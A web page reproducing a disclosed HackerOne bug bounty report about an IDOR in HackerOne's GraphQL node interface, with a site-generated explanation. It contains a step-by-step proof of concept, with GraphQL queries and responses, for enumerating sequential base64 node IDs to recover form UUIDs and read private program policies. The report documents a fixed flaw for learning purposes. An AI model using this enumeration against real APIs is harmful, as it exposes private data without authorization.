Skip to content
IDOR Disclosed report Intermediate

Embedded submission form UUIDs can be enumerated through GraphQL node interface, exposing sensitive program details

Embedded submission form UUIDs could be enumerated through the GraphQL node interface because the backend used an auto-incremental primary key. An unauthenticated attacker could then use the UUID to access private program details such as policy and bounty table.

jobert Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in under an hour
  • Fixed in 6 days
  • Disclosed after 52 days

It's possible for an attacker to enumerate embedded submission form UUIDs through HackerOne's GraphQL node interface. In normal application behavior, an embedded submission form is queried through GraphQL with a UUID. These UUIDs are random and they're not susceptible to brute force attacks. However, the UUID is not the primary key of these models. Instead, in the backend, it still has an auto incremental primary key. Because of that they can be queried directly using the node interface. From the node interface, the UUID is exposed, which can then be used to obtain the same information an invited reporter can access.

Proof of concept

In order to reproduce the vulnerability, follow the steps below.

  • consider the following node ID: Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==
  • decode the ID (base64), which will look something like gid://hackerone/EmbeddedSubmissionForm/9
  • change the primary key identifier, and base64 encode it
  • execute the following GraphQL query:

Request

query {
  node(id: "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==") {
    ... on EmbeddedSubmissionForm {
      uuid
    }
  }
}

Response

JSON
{
  "data": {
    "node": {
      "id": "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==",
      "uuid": "████"
    }
  }
}
  • take the UUID, and append ?embedded_submission_form_uuid=:uuid to the GraphQL request
  • submit the following query to obtain the program information:

Request

POST /graphql?embedded_submission_form_uuid=█████████ HTTP/1.1
Host: hackerone.com
...

{"query":"query { node(id: \"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==\") { ... on EmbeddedSubmissionForm { id, uuid team { handle policy } }}}","variables":{}}

Response

JSON
{
  "data": {
    "node": {
      "id": "Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==",
      "uuid": "███",
      "team": {
        "handle": "██████████",
        "policy": "The policy."
      }
    }
  }
}

Impact

Any unauthenticated user can obtain the same information about a private program as a participating hacker. This may reveal sensitive information about private programs on HackerOne, such as their policy, terms, resolved bug count, bounty table, etc.

There are essentially two vulnerabilities here: the ability to directly query the EmbeddedSubmissionForm object and the fact that by specifying a UUID, the Team object exposes too much information.

The original report as published on HackerOne, by jobert. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Any unauthenticated user could obtain the same information about a private program as a participating hacker, potentially revealing sensitive details such as policy, terms, resolved bug count and bounty table.

What the attacker needed

No account needed; GraphQL endpoint reachable

How it was found

  1. Take a node ID and decode it from base64 to see the internal object path.
  2. Change the primary key number in the decoded ID and base64 encode it again.
  3. Send a GraphQL query to the node interface asking for the uuid field of the EmbeddedSubmissionForm.
  4. Take the returned UUID and append it as a query parameter to the GraphQL request.
  5. Submit a GraphQL query that requests the team handle and policy for that form to obtain private program information.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GraphQL is a way for apps to ask a server for specific data. The 'node' interface lets you look up any object by an ID, and here those IDs were based on simple sequential numbers rather than the random UUID. By changing the number, an attacker could find hidden form IDs and then read private program information.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by jobert

View all

67 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.